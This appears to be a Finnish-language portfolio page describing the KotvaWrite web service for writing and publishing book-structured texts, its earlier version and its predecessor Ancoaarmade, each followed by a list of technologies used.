  • Tekstin luominen ja editointi, kokonaisen kirjamaisesti jäsennellyn teoksen generointi asetteluun, tyylittelyyn ja esillepanoon vaikuttavien parametrien perusteella.

Edelliseen versioon nähden merkittävin uudistus on tapahtunut käyttöliittymätasolla, joka on laitettu kokonaan uusiksi. Sovelluksen suunnittelussa on hyödynnetty mukautuvaa verkkosuunnittelua (eng. responsive design) sen parantaessa olennaisesti käyttökokemusta. Sittemmin mukaan on tullut jonkin verran lisäominaisuuksia (mm. automatisoidusti generoituva PDF-tiedosto ja HTML-version tulostusversiota on hienosäädetty).

Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Foundation, Backgrid, Backbone, SASS, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, iText, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench

KotvaWrite v1.0

KotvaWrite on hyödyllinen verkkopalvelu sellaisen tekstipohjaisen aineksen luomiseen ja editoimiseen, joka jolla on kirjamainen rakenne (käytännössä useita kirjoituksia sijoitettuna kokoelmiin, jotka voidaan yhdistää isommaksi kokonaisuudeksi) ja jonka voi exportata PDF-tiedostoksi tai antaa sen olla muiden luettavissa HTML-muotoisena. Tekstin joukkoon on mahdollista sijoittaa kuvia, kuvituksia, piirroksia ja tiettyjä muunlaisia "liitteitä", joita on usein nähtävissä blogiviesteissä.

Java EE 6, JPA, REST, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, AppFog, UML, Mylyn, Git, JUnit, Photoshop, MySQL Workbench

Ancoaarmade (KotvaWriten edeltäjä)

Tarkoituksena ollut kehittää verkkopalvelu, joka palvelisi sen käyttäjiä mm. seuraavissa tarpeissa: havaintojen ylöskirjaaminen, itseoppiminen, tiedon järjestely ja julkaiseminen, tiedon tuottaminen, ajatusten jäsentely ja asioiden muistaminen. Lopputuotteena ovat haluttaessa julkiseksi(kin) asetettavat kirjoitukset, jotka voivat koostua erilaisista kerätyistä tai generoiduista aineksista kuten videoleikkeistä, kaavioista, kuvista, piirroksista yms. havainnollistavasta materiaalista. Työn alla olevaa teosta voi tarkastella useista eri "perspektiiveistä". Teoksiin sisällytettäväksi voi tuoda aineistoa ulkoisista tietolähteistä tai omilta päätelaitteilta.

Java EE 6, JAXB, JPA, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, CloudBees, Amazon AWS, Jasmine, DOH Robot, UML, Microsoft Project, JIRA, Mylyn, Git, PureTest, CodePro Analytix, PMD, JUnit, Photoshop, Fireworks, SHA1, PayPal API, Chrome extension, Firefox Add-on, Mockingbird, Adobe AIR, MySQL Workbench, Jenkins, continuous integration, REST, async servlets + filters, refactoring, design patterns, naming conventions